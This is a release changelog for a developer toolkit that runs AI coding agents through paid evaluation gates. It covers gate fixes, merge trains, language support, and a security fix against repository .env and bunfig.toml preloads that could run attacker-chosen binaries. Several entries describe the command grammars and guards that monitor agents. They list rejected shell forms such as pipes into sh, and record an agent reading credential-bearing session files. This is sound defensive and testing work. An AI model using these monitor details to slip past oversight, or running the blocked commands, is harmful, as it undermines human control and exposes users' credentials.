Gate integrity (a gate edit): context-budget ceiling for capy/skill/gstack 2923 → 3498 tokens (test/fixtures/context-budget.json, that entry only) for the new section; no other ceiling moved.

Gate integrity (a gate edit): ship's parity union cap maxSizeRatio 1.6488 → 1.6690 (test/helpers/carve-guards.ts). The only growth is the on-demand capy-pr section plus a three-line CAPY_PR check and one manifest row, measured at 313,265 / 187,706. A non-Capy ship never loads the section. The skeleton stays under 81,000 bytes. No eval threshold, trial count, case kind or budget changed.

Tests

test/approval-record.test.ts, test/captain-brief.test.ts, test/pr-shots.test.ts: branch keys and containment, secret refusal with nothing written and nothing echoed, citation-proof escaping checked against parseCitations, idempotent import of typed and relayed answers, mirror restore and the unavailable state, brief order, gate ids only on the agent line, rec_hash, incomplete and answered states, change-centred hunks (a change at line 240 of 300), HTML escaping and CSP, section extraction at a base commit, option-like refs, outside files and the no-browser path. test/gstack-skill-start.test.ts pins CAPY in the STATUS contract and the block's on/off/quiet behaviour. Ship goldens are regenerated.

[1.91.171.0] - 2026-10-20

A restarted /ios-qa daemon resumes the device session instead of relaunching the app. The app's boot token works once, so a new daemon process used to have no way back in except devicectl process launch --terminate-existing, which wiped the app's QA state. The daemon now writes the rotated StateServer bearer to $GSTACK_STATE_ROOT/ios-qa-session.json (mode 0600, through a fresh temp file) after every successful bootstrap, bound to the device UDID, bundle ID and StateServer port, and a new daemon tries it once on its first device request. The bearer goes only to the tunnel address devicectl reports for the bound UDID, after /healthz names the same bundle; there is no mDNS or remembered-address fallback. The daemon bootstraps normally, without sending the bearer, when the target UDID, app or port differs, another device or app answers, devicectl reports no address, or the file is not private to you (the file is removed unused). A bearer the app rejects is cleared before the bootstrap and never presented again, and the boot token is never written to disk. /ios-qa Phase 0 now describes this file instead of a cache no code wrote. Draft until verified on a real iPhone.

Thanks @Bmathews721 (#1796) for the diagnosis, the hardware repro and the reuse scenarios the new tests carry.

[1.91.170.0] - 2026-10-20

/autoplan no longer stops a healthy run with a false "event order" or "init" denial when Claude Code is slow to write its session journal. Daily flaky-fix pass, group 5 (other paid cases): the same pass clarifies how the office-hours reviewer recovers from a seal error and fixes two plan-review floor harness gaps in reading cropped permission menus.

Fixed

/autoplan publication guard (autoplan/bin/phase-publication-hook.ts). If you ran /autoplan on Claude Code 2.1.292, the first Phase 1 step could be blocked with "The native parent event order is unavailable or inconsistent" (code event_order) or "needs its own successful init" (code init_own), even though the init had already run. Claude Code can run the guard's hook before it writes that turn's earlier steps to the session journal, so the guard judged a journal that did not yet show them. The guard now keeps reading inside its existing 2-second window while the journal shows no step yet, or nothing since your latest message. If Claude Code still has not written it, a journal with no steps lets the call proceed with the existing "unverified" warning (journal_lag). A journal that ends at your message gets the normal check, so a run that really skipped init is still denied. Seen on PR gate 39333263804 (autoplan-guard-pty, attempt 1).

Office-hours spec reviewer (lib/office-hours-review.ts). The reviewer prompt's "Do not use Edit" sat in the sentence about not changing the design, so a reviewer could patch its own verdict file with Edit after a seal error. The prompt now forbids Edit on every file, the verdict file included, and says to Write the complete corrected JSON to the same path and run the seal command again.

Tests

Plan-review floor harness (test/helpers/plan-count-file-permission.ts). A cropped owned plan-file Edit menu whose top row is the cwd-relative file row (a bare basename for a file in the working directory) now binds to its pending Edit. Before, only an absolute or ./ row was accepted, so plan-ceo-finding-floor sat on the menu until its 600 s timeout (PR gate 39293281037, attempt 1). The row must name the menu's own file and still resolve to the owned path.

Same harness, quote guard. The guard that keeps a quoted AskUserQuestion from passing as a permission menu matched any row that began with whitespace and >, including a soft-wrapped preview row that continued a table cell with >activation->paid). It now matches a quote or fence only within four columns. Wrapped continuations start at five columns or more, and every preview row is still bound to the owned file's bytes. This stalled focused trial t3 on its owned Create menu (permission_unanswered at 92 s).

test/autoplan-publication-payload.test.ts replays the captured journal shape (slash turn and meta skill body, no public event). Flushed inside the window, it gets the normal verdict; never flushed, it is journal_lag. Negative controls: a late flush that shows an unpublished phase is still publication_missing, an /autoplan turn whose init never appears is still init_own, and the evaluation denies empty, foreign-session and out-of-order events as event_order. Without the fix, four of these fail with event_order and init_own.

test/plan-edit-cropped-permission.test.ts adds the captured gate viewport as fixture case ci-39293281037-a1 (Edit input reconstructed from its diff rows, as for t07 and t08). It is granted once from its own PreToolUse input. Negative controls: a foreign directory, a foreign basename, a numbered diff row, a changed diff row and an unwitnessed Edit are refused.

test/plan-create-prepublication.test.ts adds trial t3's viewport as test/fixtures/plan-ceo-floor-create-quote-wrap.json. It is granted once from its own PreToolUse Write input. Negative controls: a quoted row, a fence and a checkbox above the menu, and a changed continuation row, are refused.

test/office-hours-review.test.ts pins the reviewer's seal-error recovery. test/office-hours-completion.test.ts checks that the validator accepts a seal error recovered by a complete re-Write and rejects the same recovery done with Edit.

Gate integrity: no threshold, trial count, case kind, quarantine or budget changed.

Gate integrity

[1.91.169.0] - 2026-10-20

The docs-sync fixture now accepts joined Git reads, for loops over literal file names and a pipe into tr as reads, and tells the actor that the Claude config dir is off-limits. The late-result fixture now says what its one repair corrects. In the last 20 Opus gates, ship-docsync-current went red 3 times. Two of those were pure reads the validator rejected: cat personal-note.txt; echo ---; git diff main HEAD (run 39347827595) and for f in …; do echo "=== $f"; cat $f; done (run 39344306426). The third (run 39338691964) was a real deviation: a stray for_none=1; assignment, plus the parent reading its child's session transcript under the fixture's CLAUDE_CONFIG_DIR. Both still fail. Focused trials then hit git ls-files -z … | tr '\0' '\n' twice, a form Fable also used in run 39186278010. ship-docsync-late-result went red once (run 39367310001): the parent stopped the hung child and judged that no concrete correction was available, because the prompt never said what the declared repair corrects. Focused Opus 5.5 trials: on the final tree, ship-docsync-current 4/5 and ship-docsync-completion 5/5. The current red was an unquoted --include=* that the shared grammar rejects as a globbed option, which is outside this change, and it passed its rule-16 rerun. Earlier trees: ship-docsync-current 5/5 (before tr), ship-docsync-late-result 5/5 (first repair), and one trial each of the other nine docs-sync cases, all passing.

Changed

Gate integrity (a gate edit): joined Git reads, reversing #3288's choice. #3288 (v1.91.143.0) kept Git reads out of grammar lines and told the actor to run each one alone, after Fable joined them in run 39186278010. Opus kept joining them anyway (run 39347827595), and a joined pure read is no less read-only than the same reads run one by one. So test/helpers/docsync-observer.ts now accepts a declared Git read joined with ;, && or || to the shared grammar's reads or to another Git read. The Git read is still checked literally against the declared list and stands in the line as a neutral read for the grammar. It is refused after a cd and as a pipe sink, and Git global options, Git writes, lifecycle, candidate, Preamble and script commands still never join. Controls that pinned git rev-parse HEAD; git status, git rev-parse HEAD && git status, git rev-parse HEAD | cat, git check-ignore -v .qa-state; ls, git ls-tree -r HEAD | head, git status; ls, git log | head -5 and git status; git branch --show-current; git rev-parse HEAD as rejected now pin a joined Git write, bypass or shell sink instead (test/docsync-command-grammar.test.ts, test/read-only-command-grammar.test.ts, test/fixtures/docsync-observer-commands.json). The test "docsync keeps Git reads out of grammar lines" is now "docsync accepts joined Git reads".

Gate integrity (a gate edit): loops. A for loop anywhere in a line counts as its unrolled passes, but only with a lowercase variable, words that have no quotes, globs, braces, tilde or $, no other variable in the body and no nested loop. The completed-read check credits a cat of the document inside such a loop.

Shared read-only grammar: tr (docs-sync and qa-only). test/helpers/read-only-commands.ts accepts tr only after a pipe, with -c, -C, -d, -s or -t and one or two literal sets. It rejects tr as a first command, a third operand, a set holding $, a backtick, a brace or an unquoted glob, a redirect, and tr … | sh. The grammar's interface text says so, and qa-only's deadline fixture has its own accepted and rejected tr controls.

Interface text. The declared docs-sync interface now says joined Git reads and loops are accepted. It also names actor-state.json and the Claude config dir (except settings.json) as unreadable, because the dir holds credentials and every agent's session transcript, and it says a child is judged by the output it returns.

Late-result fixture prompt. The repairable launcher's repair now says it corrects the spawned-marker setup and the child transport, the faults behind a missing marker or a child that returns nothing by the Collect deadline. test/docsync-fault-interface.test.ts checks that only repairable prompts say so.

Fixed

Free regressions. The captured composed reads of runs 39347827595 and 39344306426, and of the focused trials, run in a fixture and leave the repository unchanged. Negative controls keep the run 39338691964 forms rejected, along with joined Git writes, -c/-C options, pipe sinks, cd, redirects, loop redirects, globbed, quoted, braced or tilde loop words, uppercase loop variables, stray variables, nested loops, and tr used outside a pipe or with a non-literal set.

[1.91.168.0] - 2026-10-20

Four QA paid cases stop failing on valid or unclear agent behavior: qa-only-no-fix accepts reads joined with its exact bookkeeping calls, and the QA-callers fixture says where the handoff check goes and stops counting the explicit plan check as a wasted rerun. Daily flaky-fix pass (GSTA-57), from the captured events of Opus gate runs 39313931713, 39332134395, 39336730429, 39320737890, 39181697029 and 39351737002.

Changed

Gate integrity, widening (test/helpers/qa-browser-deadline-evidence.ts): qa-only-no-fix failed three times with QA deadline: unsupported outer shell composition. Each time the agent joined grammar reads with one of the fixture's exact bookkeeping calls outside the guard, for example ls -la; git -C <fixture> branch --show-current. The deadline check now accepts a ;, && or || join in which every command is an exact listed bookkeeping call or a shared-grammar read checked from the fixture root, and the fixture prompt declares that join. Still rejected, each with a negative control: a joined guard call, a browser command before or after the join, a git call outside the exact list (-c options, other subcommands), cd inside a join, a pipe into sh, &, substitutions, newlines, escaped ;, a dangling &&, a read outside the root, the readiness block with an appended command, and a QA_DEADLINE receipt in the output. The existing "unbatched metadata" control now joins the metadata call with an unguarded browser command, since two exact calls joined are accepted. A free replay runs all 100 non-guard Bash commands from 11 captured attempts (3 failed, 8 passed) inside a real guarded attempt; the three failed attempts fail on the previous helper with the CI message. No threshold, kind, trial or quarantine change. The replay fixture test/fixtures/qa-only-bookkeeping-joins-public.json is registered in the qa-only-no-fix touchfiles.

Gate integrity, widening (validateCallerEvidence): ship-exploratory-plan-checks failed with duplicate unchanged passing probe after the agent ran bun scripts/probe.ts 9 as a guarded smoke probe and then as PLAN.md's release check with --timeout-ms 10000, the form the prompt reserves for an explicit plan check outside the smoke budget. One explicit plan check beside the smoke probe is no longer a duplicate. A guarded repeat of the same input, a second plan check, and ordinary input under the plan-check form still are. A free replay runs the captured capture sequence through the real helpers in a real fixture.

QA-callers prompt (qaCallerSessionOptions): the handoff freshness check is one rule. Read HANDOFF.md and reports/HANDOFF.md and wait for the results in an earlier message than each of three things: materialize (it runs once per report root and freezes the verdict), every completed:true review record including adversarial-review, and the completion report. review-exploratory-small-cli failed twice when the agent wrote the adversarial-review record in the same response as its first HANDOFF Read (39320737890) or before any Read (39332134395); the detector was right, and a free replay of both captured event sets keeps them failing and passes them reordered. ship-exploratory-late-input failed twice when the agent materialized before reading the late reports/HANDOFF.md, so a refused second materialize left a stale pass verdict beside an honest inconclusive receipt.

Focused paid runs (Opus 5.5, gate tier, this tree): qa-only-no-fix, review-exploratory-small-cli, ship-exploratory-plan-checks and ship-exploratory-late-input each passed 5 of 5 ($14.98 total). One qa-only-no-fix trial used two bookkeeping joins that the previous helper would have failed.

[1.91.167.0] - 2026-10-20

Two paid detectors now accept the rewordings Opus 5.5 actually uses, with their negative controls kept (daily flaky-fix pass, GSTA-57). plan-design-with-ui-scope went red three times on the ledger with "no acknowledged Design focus" while the agent had asked Step 0D and a numbered finding; tpa-absent-darwin went red once on a valid download pitch.

Fixed

plan-design-with-ui-scope focus detector (test/skill-e2e-plan-design-with-ui.test.ts). The Step 0A rating now counts as any sentence that scores design completeness out of 10 (run 39363705692 wrote "I rated this plan 4/10 for design completeness"; the 0A example says "This plan is a 3/10 on design completeness"), and the all-seven option may name the seven any way ("All 7 areas (recommended)"). The title, focus and option-order requirements are unchanged. Replays of all three ledger failures (runs 39315041557, 39344306426, 39363705692, attempt 1) and their passing reruns now pass the detector; 39363705692's captured calls are a fixture (test/fixtures/design-ui-focus-capture-39363705692.json). New negative controls: a score and "design completeness" in different sentences, a score out of 7, a non-design completeness score, an all-seven option without a focus title, a non-leading or issue-labelled all-seven option, a bare "All 7" option, and the run without its focus question all still fail.

tpa-absent-darwin pitch detector (test/helpers/third-party-actions.ts). The canonical phrase may name Aside as "it" once the macOS 15+ floor follows ("If you want to use Aside: download it (macOS 15+) at aside.com", run 39315041557, now a capture in test/fixtures/third-party-actions-pitch-captures.json). It keeps the canonical phrase's guards: clause start, no negation before it, no quoted or reported mention. The short forms without the floor still count only at a sentence start.

Gate integrity: test-only detector edits. No threshold, trial count, case kind, quarantine or budget changed.

[1.91.166.0] - 2026-10-20

Two load-sensitive free tests from the flaky ledger now measure what they test. Daily flaky-fix pass, 2026-10-20, free and load-sensitive group.

Fixed

test/setup-ps1.test.ts PowerShell 5.1 cases (windows-setup, 2026-10-17 and 2026-10-20). The workflow runs the file with plain bun test, so each case has Bun's 5 s default. The first powershell.exe launch on a runner pays a cold start that later launches do not. Over 94 windows-setup jobs, the first legacy launch (the space-in-TMPDIR case) took p50 1.46 s, p95 3.42 s and max 5.04 s, while the second launch (the empty-argument case) had p95 1.41 s. Both reds were that first launch killed at 5 s with exit null. A beforeAll now launches the legacy interpreter once on the stub checkout, with a 60 s hook budget matching the spawns' own bound. No per-test timeout changed. On Linux, a pwsh wrapper that adds 6 s to the first launch reproduces the CI symptom on main and passes with the warm-up. One that adds 6 s to every launch still fails three cases (negative control).

browse/test/xvfb.test.ts spawn → cleanup round trip (Ubicloud full run, 2026-10-18). It picked a display from :99-:110 and then spawned on it, inside the default range that headed daemons in parallel shards allocate from. Six default-range allocators reproduced "X display :N was reserved by another X server during startup" in 9 of 20 and 5 of 20 runs. The case now uses :25000-:25100, a range no other allocator uses, like the file's other private-range cases. It now fails instead of silently returning when no display is free. 30 of 30 runs pass under the same load.

[1.91.165.0] - 2026-10-20

The Version Gate accepts an unstamped READY head under merge trains. Under the train policy a lane's head keeps VERSION, package.json and the agents digest at main's version and writes its CHANGELOG entry under [Unreleased]. The gate still demanded a bump, so every unstamped PR showed "VERSION not bumped", and gstack-ship-queue ready refused it with QUEUE_NOT_READY (#3320, #3321). That blocked every train. Plan GSTA-49, S1 for the queue.

Fixed

scripts/compare-pr-version.ts passes an unstamped head when the base's .gstack/ship-policy.json declares train. A head counts as unstamped (lib/version-gate-train.ts) when, against its merge base with main, it changes neither VERSION, the package.json version nor any release output, and its CHANGELOG change is confined to one [Unreleased] section at the top. An older merge base is fine, because the train merges the head onto current main and rule 14 forbids lane main merges.

A stamped head under a train policy must carry exactly base + bump, the version gstack-restamp --next allocates when the slot is called. Without a train block the gate is unchanged.

.github/workflows/version-gate.yml runs the gate's code from the PR's merge commit (github.sha) rather than its head. A PR that edits the gate runs its own edit, and an open PR picks up a gate fix from main at its next pull_request event. It also fetches the base with full history so the merge base resolves.

Gate integrity

The unstamped pass is new and applies only under a train policy. Negative controls in test/compare-pr-version.test.ts cover:

a stamped head at any version other than base + bump;

a changed package.json version or release output, which is treated as a stamp;

a CHANGELOG edit to a released section;

a second [Unreleased] section, or one that isn't at the top;

an unstamped head without a train block, which still fails hard rule 1.

[1.91.164.0] - 2026-10-19

Merge trains are on for gstack: .gstack/ship-policy.json now carries the train block. READY PRs merge in trains of up to 5 (or once the oldest READY is 3 hours old) behind one full gate on the train head, instead of one full gate per PR. Plan GSTA-49, go-live after lanes T1 and T1b. Garry approved going live once one dry-run train passed.

Changed

.gstack/ship-policy.json declares train (gate_workflow evals.yml, free_workflow free-tests.yml, full_gate_check gstack/full-gate, record_artifact gstack-train-record, max_size 5, fill_hours 3, screen_selection gstack-paid, trial_reservation_usd 1.5) and min_gstack_version 1.91.146.0, which gstack-ship-policy validate requires alongside train. From this merge on, a PR push routes to pr-summary instead of a paid PR gate, ready records the screen choice, train build dispatches the full gate, verify --pr <n> --train <nonce> is the merge check, and the main backstop gates any tree no green train covered.

Dry-run evidence. Train gate.train-24672a1f5b96-b67778cdbbd3-58805a merged two unstamped scratch docs PRs (#3313 and #3314, closed unmerged) onto a scratch base: main 85b0f531f plus this policy block plus one scratch-only evals.yml line that read the policy from that base. A workflow_dispatch reads it from the default branch, which had no train block yet. The real train build refused with QUEUE_TRAIN_WAITING until the 3-hour fill passed, then ran Free Tests green (run 39377354548) and dispatched one full gate (run 39377781282: VERDICT GREEN, rule 108/108, judge 24/24, behavior 0/0, gstack/full-gate success on the train head). verify --pr 3313 printed MERGE_CONDITION: sha=33fb98512123…. Not exercised: the default-branch policy read itself (the scratch line replaced it), PR-push routing to pr-summary, a stamp at merge, a screen, a bisect and the main backstop.

docs/ship-policy.md now says gstack's own policy carries the block, replacing "does not carry it yet".

test/gstack-ship-policy.test.ts validates gstack's own .gstack/ship-policy.json and checks that its train workflows exist, so the policy file has a test lane.

[1.91.163.0] - 2026-10-19

A gate red on one test now reruns that test once instead of the whole gate, and a pass is green with a flaky note. Garry, 2026-10-19 (CREW rule 16): "you can just run the failed test again and note that it is flaky... You don't have to do the whole test pass again for one failed test." Plan GSTA-49, lane F1; the #3308 reuse miss is GSTA-53.

Added

In-run flaky rerun (rerun-plan and eval-rerun in evals.yml, scripts/lib/paid-rerun.ts). After the slices, a red rule, behavior or judge case verdict reruns once at the same head in the same run attempt: a rule or judge case on its own shard (only the rerun cases count), a behavior case as its whole 3-trial panel, a judge case with its 3 samples. It runs fresh (no receipts in or out). If it passes, the gate is GREEN with a FLAKY N headline line and rerun spend, a ⚑ line per case in the report and PR comment, and one record per case in the run's flake-records-a<attempt> artifact for the daily flaky-fix pass. If it fails again, it is a real red (FAILED TWICE).

Manual gh run rerun --failed attempts follow the same rule. An attempt that passes every earlier red is GREEN with the same flaky annotation. A red that first appears in a later attempt stays red unless its own next run passes, so a later attempt never hides a new red.

Flaky GREENs are reusable (GSTA-53). gate-reuse binds a flaky GREEN with its flaky_cases, reads each run's newest attempt binding, and R2a and R2 reuse it with reused_flaky named in the log and PR comment. On #3308 (run 39315041557), both attempts bound RED because the report kept attempt 1's verdict, so the next push paid for a full gate. A run still red after its rerun binds RED and is never reused.

Changed

Gate integrity (a gate edit): harness, INFRA, INCOMPLETE and unattributed reds never rerun and are never flaky. Neither is a case already red twice, or a case whose rerun could not turn the gate green. No threshold, trial count, case kind, judge model, EVAL_POLICY constant or HARNESS_VERSION changed (recorded non-behavioral). Pass-rate history still records each run's first execution unchanged; a rerun's trials stay in its paid-rerun-* artifacts and the flake record. On the gate lane, a rule shard that ran to completion with a red case no longer fails its slice job. The report still fails closed on it, so the run's conclusion follows the report and a flaky GREEN run concludes success. Execution failures (timeouts, runner errors, hollow or unfinished shards) still fail the slice. Train gates take the same rerun path. A bisect reruns a VERDICT FAIL once on its prefix (scripts/train-gate.ts), and a pass there is a flaky PASS naming both runs. The PR comment's verified-summary check also bounds flakyCollectorFailures, so a failed collector record that is not a flaky case still fails the comment. Negative control for the slice-exit change: a case red on its first run and red again on its rerun keeps the real report CLI at exit 1 and VERDICT RED; slices-report still runs after every rerun path and its last step fails the job on reconcile exit 1, no job carries continue-on-error, so the run concludes failure; the binding is RED and gate-reuse refuses it; and the train record is RED, which T1 classifies RED whatever the run concluded (test/paid-rerun.test.ts, test/evals-train-workflow.test.ts).

Free regressions: test/paid-rerun.test.ts replays a trimmed capture of run 39293281037 through the real --report and --rerun-plan CLI. Its negative controls cover red twice, harness, INCOMPLETE and checkpoint reds, a new red on a later attempt, a first-attempt pass, rerun results with a missing or mismatched manifest, and reruns of unplanned cases. test/gate-reuse.test.ts covers R2a and R2 reuse of a flaky GREEN, a manual-attempt binding, and a run still red after its rerun. test/train-gate.test.ts covers the train record and the bisect rerun. Workflow wiring tests are in test/evals-train-workflow.test.ts and test/ci-paid-coordination.test.ts.

Rerun artifact layout: the first gate of this change (run 39363705692) reran its one red case and passed, but download-artifact unpacked the lone rerun-plan-a1 match into the report root, over the plan's own manifest.json, so the report read every case as unplanned and stayed red. The plan artifact now holds rerun-plan-a<attempt>/manifest.json, rerun results download under reruns/, the rerun logs artifact is rerun-logs-* so it no longer matches paid-rerun-*, and the report finds the rerun manifest in either layout download-artifact produces. That run's artifacts, replayed in the new layout, report VERDICT GREEN with FLAKY 1.

[1.91.162.0] - 2026-10-19

The evals workflow carries merge trains: a train's own gate publishes its record and the gstack/full-gate check, bisects run one executor per prefix, ready --screen dispatches a real screen, and a main backstop gates any tree no green train covered. All of it stays off unless the base revision's .gstack/ship-policy.json declares a train block. Without one, a PR push and every eval-bg dispatch run today's jobs and steps with today's values. The one addition is a free route job that reads the policy with git and jq. gstack's own policy still has no train block; turning it on is a separate one-line policy PR. Plan GSTA-49, lane T1b.

Added

Train gate runs (train/<nonce> with a train nonce): the full census runs without verdict reuse or reuse binding. The report job writes the train record (scripts/train-gate.ts train-record) from this run's plan manifest, one panel per planned case, plus the prefix trees modulo stamps. It uploads the record as the policy's record_artifact. A separate train-check job, with checks: write and no repository code, publishes full_gate_check as success only for a complete GREEN census whose nonce and head match the dispatch. A train nonce dispatched on main is refused before any paid work.

Bisect inputs cases and prefix_shas. Case ids must be in the run's plan, and each prefix must be an ancestor of the train head on train/<nonce>, or the run refuses. A train-bisect matrix runs one executor per prefix, checks out and verifies that prefix, and uploads <record_artifact>-bisect-<sha12>, the name train bisect reads.

Dispatched screens (screen_pr, screen_merge_sha, screen_policy): the run checks out and verifies the pinned merge commit. It waits on the PR head's Free Tests, cancels an older screen of the same PR, and comments on that PR. Verdict reuse (R2a/R2) authenticates a screen by PR number, head SHA, repository and tested base (the merge commit's first parent). It keeps every selection and newer-run veto, and lists pull_request and screen runs filtered by PR. A broad screen never adopts a narrow run.

.github/workflows/evals-main-backstop.yml runs on every push to main, one at a time. It does nothing without a train block. With one, it waits until no train is merging. It runs the full gate on main only when no green train record lists main's tree modulo stamps, and writes the freeze record gstack-ship-queue reads. A five-PR train fires zero backstop gates.

The free screening summary: under a train block, a PR push runs readiness and prints the screen selection and an estimated cost instead of starting paid slices.

Changed

Gate integrity (train block only): under a train block, PR pushes no longer start paid slices; trains, screens and the backstop gate instead. Train and bisect runs never reuse a verdict and never bind one for reuse. No threshold, trial count, case kind or selection changed.

Gate integrity (always, GSTA-48 P3-1): when the readiness job blocks a PR head, a new readiness-comment job replaces an existing ## E2E Evals comment with "NOT RUN on <head>", so an earlier PASS no longer stands beside a head that never ran. It posts nothing when no such comment exists. A slice killed before its upload step counts as incomplete.

Gate integrity, widening (plan-design-with-ui-scope focus detector, GStack Minder-approved): the Step 0D focus question also counts when its title names the focus (the title ends at the first line break or before Project/branch/task:), its body carries the step's own rating sentence ("I('ve) rated this plan N/10 on design completeness"), and it offers at least two options, one of which starts "All 7" or "All seven" (design or review) dimensions or passes. Opus 5.5 titled the question only "Review focus" in both attempts of run 39298269902, so the detector missed it. In the second attempt the finding detector also counted the focus question as the review finding, because its one-line title names hierarchy and panels. A recognized focus question can no longer count as a finding. Free replays of both captured attempts (test/fixtures/design-ui-focus-capture-39298269902-a1.json and -a2.json, registered in the case's touchfiles) pass. Every existing negative control still fails, as do these new ones: an issue-labeled finding that carries the rating, a single-option focus question, a focus question without a leading all-7 option, and a 4/7 rating. No threshold, trial count, case kind or ceiling changed.

[1.91.161.0] - 2026-10-19

gstack-pregate works on Django, Dart and Flutter repos, and on branches that only touch assets or tool config. Before, a Django migration, an admin.py, a template, a font, a vendored licence or .pre-commit-config.yaml stopped /ship with PREGATE_NO_LANE in a repo that had never opted in, and every touched _test.dart file did the same. gstack-pregate init now drafts a policy from the repo instead of writing a fixed example. Contributed by @arlophoenix (#3285) and @szsunyuan (#3290); reported by @dgrant (#3266, #3267, #3268, #3269).

Fixed

Django files loaded by name select tests (#3266). In a Django project (a manage.py or code importing django, plus Python code that assigns INSTALLED_APPS or ROOT_URLCONF, or a config file naming DJANGO_SETTINGS_MODULE), every Python test depends on the settings module; a dotted string in settings and an include("app.urls") argument count as imports; an app's migrations, admin.py, templates/, static/, templatetags/, management/, fixtures/ and locale/ files select that app's tests and the tests that reach its models.py; a project-level template selects the suite.

Files no test runner loads take an empty lane (#3267). Images, fonts, media and PDFs (outside snapshot, golden and fixture trees) and allowlisted tool config (.pre-commit-config.yaml, .editorconfig, lint and format config, .vscode/, .idea/, .impeccable/, GitHub issue templates and CODEOWNERS) print no-tests (assets and tool config), and licence text under any vendored name (roboto-LICENSE.txt, LICENSE-MIT) is documentation, when no test names the file. Stylesheets, unknown dotfiles (.rspec, .husky/ hooks), CI workflows, .gstack/, .env* and version pins still need a lane, and so does unmapped code.

Dart and Flutter lanes (#3285, @arlophoenix). The import graph reads import/export/part directives and resolves package: URIs through every tracked pubspec.yaml. lanes runs each package's tests from its own root with flutter test or dart test, through fvm when the package pins it. flutter, dart, melos and very_good CI jobs are lanes, and a run step's test paths resolve against its working-directory and literal cd. A missing Dart SDK or a .dart file outside any package is incomplete, never a pass; device tests are not unit lanes.

--base <sha> gets a branch suggestion, not an impossible fetch (#3269, #3290, @szsunyuan).

Changed

gstack-pregate init drafts from the repo (#3268). It prints the languages it found and the runner each language's tests get, maps each file the import graph cannot place to the tests of the nearest directory above it, and lists the rest as TODO (as it does past the 256-entry schema limit). It never writes [], which would clear a file without a test.

Review fixes on the Dart port. A cd inside a pipeline, an alternative, a background job, shell control flow, a command substitution or a redirected subshell now leaves a CI lane's test set unknown (it may run any test) instead of resolving later paths against the wrong directory, which could drop a platform obligation. Dart directives are read to their ; whatever the line indentation, metadata before a directive and semicolons inside a URI are handled, and nested block comments are skipped, so an unindented conditional import or a long show list no longer loses its edges.

Gate integrity: new free regressions in test/pregate-non-js.test.ts (Django, assets and licence, init, and the two review fixes, each with a negative control) and test/pregate-dart.test.ts. Each new positive case fails on the tree before this change. No existing test, threshold, trial count or case kind changed; test/helpers/pregate-fixture.ts only reports more about a failed git spawn. test/pregate-dart.test.ts and test/pregate-non-js.test.ts join the other pregate fixture files in scripts/lib/windows-curation.ts's known-incompatible list: the Dart stand-ins are bash scripts on a colon-joined PATH, and the bin cases expect the Linux-host lanes verdict.

[1.91.160.0] - 2026-10-19

Dart and Flutter projects get the right reviewers and the right test command. A Dart change matched no diff-scope category except its test file, so a Flutter widget PR ran only the testing pass and skipped design, performance and security. Contributed by @arlophoenix (#3284).

Fixed

gstack-diff-scope counts .dart as both frontend and backend. The extension cannot tell a Flutter widget from a repository class or a pure-Dart server, and a skipped reviewer is invisible, so both specialists run. pubspec.lock (at the root or in a workspace package) is config. lib/frontend-scope.ts mirrors the frontend half, and gstack-design-detect still never hands a .dart file to the impeccable engine, which reads web sources only.

Test detection knows Dart. /ship's bootstrap and coverage audit, /design-review and /plan-eng-review print RUNTIME:dart for a pubspec.yaml and FRAMEWORK:flutter for an indented sdk: flutter dependency (a commented-out one or an environment.sdk constraint does not count). They treat dart_test.yaml and *_test.dart files anywhere as existing tests and offer flutter test or dart test. Review-army reports STACK: dart and TEST_FW: dart-test or flutter-test.

Adversarial DIFF_SIZE sums git diff --numstat, the same count review-army's DIFF_LINES uses, instead of parsing the --stat summary line. Binary files count as zero.

Changed

The test-bootstrap prose is shorter so the generated skills stay inside the parity size cap and /design-review stays at its SKILL.md size pin. The rules it states are unchanged. /design-review, /plan-eng-review and /review shrink, so their pins in test/fixtures/skill-md-size-allowlist.json go down (31 entries).

test/frontend-scope.test.ts's bash parity test gets a 30 s budget. It spawns git six times and the scope script once per sample, and it already ran past Bun's 5 s default on a 4-core machine before this change.

[1.91.159.0] - 2026-10-19

Security: the repository gstack runs in can no longer configure gstack's own programs. Bun loads .env, .env.local and .env.<NODE_ENV> from the directory it starts in. It also runs any preload that a bunfig.toml there names, before the program's first line. gstack runs inside the repository it audits, so a committed or branch .env could set GSTACK_STATE_ROOT, GSTACK_PROJECT_SLUG, GSTACK_CLAUDE_BIN (an attacker-chosen binary then ran as "claude"), GSTACK_SPEND_CAP_USD or a provider base URL for every gstack bin, hook and skill step. A bunfig.toml preload ran arbitrary code in all of them. Every Bun that gstack starts now passes --no-env-file and an empty --config. Your shell environment works exactly as before. Found in review by GSTA-54.

Security

Every bun entry point starts isolated: all 123 bun shebangs are now #!/usr/bin/env -S bun --no-env-file --config=/dev/null. bun run <file> ignores the shebang, so the callers carry the flags too: skill templates, generated skill docs, resolvers, hook wrappers, setup and the bash bins pass bun --no-env-file --config=/dev/null for every run, -e, -p and script path.

TypeScript spawns use bunIsolationArgs() from lib/bun-isolation.ts, which follows browse's emptyBunConfig(). This covers scriptInvocation (how TypeScript launches gstack's own bins), restamp, qa-deadline, the timeline hook's repair child, gbrain sync's ingest child, the agents-digest regen and the Claude Code migration. Native Windows has no /dev/null, so there the helper passes a zero-byte bunfig in a fixed directory under the per-user temp root. It is never removed, because the timeline hook's detached repair child reads it after the hook exits. Under Git Bash, MSYS rewrites the shebang's /dev/null to nul, which Bun 1.4.2 reads as an empty config. A windows-latest run verified both.

Compiled builds: build:gates and scripts/build-app.sh now pass --no-compile-autoload-dotenv --no-compile-autoload-bunfig, as scripts/build.sh already did. Without them, compiled binaries load both files.

A ratchet and regressions:

test/bun-entry-isolation.test.ts fails on any bun shebang, shell or skill caller, TypeScript spawn or build --compile that drops the flags.

test/bun-dotenv-isolation.test.ts runs the real bins in a fixture repo with a hostile .env, .env.local and bunfig.toml. The state root, slug, claude binary and pregate spend cap still come from the shell.

test/bun-isolation-launch.test.ts runs the shebang, bash and TypeScript launch forms on every free lane, Windows included.

Changed

gstack-evidence run no longer scrubs dotenv values from the child environment, and GSTACK_EVIDENCE_KEEP_DOTENV is gone. Bun no longer loads those values into the wrapper, so the child sees your shell's environment, as it would if you ran the command by hand. The old value-equality scrub (#2652, @namtrok) also dropped shell-exported variables whose value matched the file.

Raised SKILL.md size pins: 80 pins in test/fixtures/skill-md-size-allowlist.json grew by 33 to 330 characters each, from the isolation flags alone (8,253 characters in total).

Directly executed ./scripts/*.ts files no longer read gstack's own .env. bun run <script> and the package scripts (bun run test, bun run eval:bg:pr) still load it.

If you…

…add a bin or a hook: start it with the isolated shebang, and pass bun --no-env-file --config=/dev/null (or bunIsolationArgs() in TypeScript) wherever you start Bun. If you don't, the ratchet names the line.

…relied on a repo .env to configure gstack: export the variable in your shell or set it with gstack-config.

